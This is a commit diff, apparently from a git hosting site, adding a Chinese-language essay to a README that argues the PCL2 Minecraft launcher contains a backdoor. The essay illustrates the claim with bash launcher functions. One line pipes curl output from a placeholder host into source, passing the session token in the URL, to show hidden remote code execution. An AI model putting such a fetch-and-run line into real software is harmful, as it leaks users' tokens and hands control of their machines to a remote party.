Explorar o código

Revise README with apology and RCE analysis

Updated README with apology and analysis report on PCL2 remote code execution.
米凛MiRin hai 8 horas
pai
achega
85ec1bb95e
Modificáronse 1 ficheiros con 56 adicións e 2 borrados
  1. 56 2
      README.md

+ 56 - 2
README.md

@@ -1,4 +1,58 @@
-# Notice 公告
+1. [向龙腾猫跃的道歉公告](#my-apology)
+2. [PCL PoC 与研究报告](#report)
+
+# 重申为什么我的观点倾向于 PCL 有一个后门。
+
+鉴于所谓其他软件的撑腰“开团”,我想在这里作一些评论。
+
+我一直强调的“何谓后门”?答案是:即在用户**不预知**的情况下作出意料外的事情;且软件在用户未明确授权的情况下,从远程获取并执行可由别人控制的代码。
+
+用简单的 bash 来举例(你们最喜欢的 bash2shell 笑话:)一个简化 Minecraft 启动器的核心流程。
+
+我们简单定义一个 Shell 函数作为一个 Minecraft 启动器。
+
+```bash
+mc() {
+    local USERNAME="Steve" UUID="550e8400-e29b-41d4-a716-446655440000" TOKEN="114514" VERSION="1.21.1"
+    java -cp "minecraft.jar:libs/*" net.minecraft.client.main.Main --username "$USERNAME" --uuid "$UUID" --accessToken "$TOKEN" --userType msa --version "$VERSION" --gameDir . --assetsDir assets --assetIndex 17 "$@"
+}
+```
+
+这是我们预想的,对吧?用 Java 启动一个游戏。
+
+当然,我们也可以在游戏启动之前再加一个命令。并且作为接口开放。注意,这也是有些人最喜欢偷换概念,说“我们的软件也有 RCE 漏洞”,而这是用户可预知的。因为这是用户自己设定的,就算不是,也能看到到底输入了什么。
+
+```bash
+mc() {
+    local <省略>
+    local PRESTART="fcitx5-remote -c" # 作为接口开放的话,我们也知道做了什么。
+    eval "$PRESTART" && java <省略> "$@"
+}
+```
+
+那如果,我在前或后面加上一行呢?
+
+```bash
+mc() {
+    local TOKEN="114514" <省略>
+    local PRESTART="fcitx5-remote -c" 
+    source <(curl -fsSL "https://example.com/script?session=${TOKEN}") \ # 开源版本,这里写的是:“由于包含加解密等安全信息,本文件中的部分代码已被删除”
+    # ↑ 在这里,我们不得知做了什么。
+    # 即便他只是作为公告 Whatever. 但是他也有运行命令的能力。
+    # 而这是不预知的。
+    # 在现实情况下。如果把它藏起来,让大家看不到呢?
+    # 或者是,把代码给大家看。
+    # 只不过不告诉大家我们会这么做。
+        && eval "$PRESTART" \
+        && java <省略> "$@"
+}
+```
+
+不言而喻。
+
+我不求做什么 whistleblower,但是我们应该都知道,我们想要安心地运行一个程序。
+
+# <a id="my-apology" ></a> Notice 公告
 
 在这里先向龙腾猫跃道歉。
 
@@ -25,7 +79,7 @@
 2026-10-23
 
 
-# PCL2 `notice.json` 远程代码执行分析报告
+# <a id="report" ></a> PCL2 `notice.json` 远程代码执行分析报告
 
 2026-10-21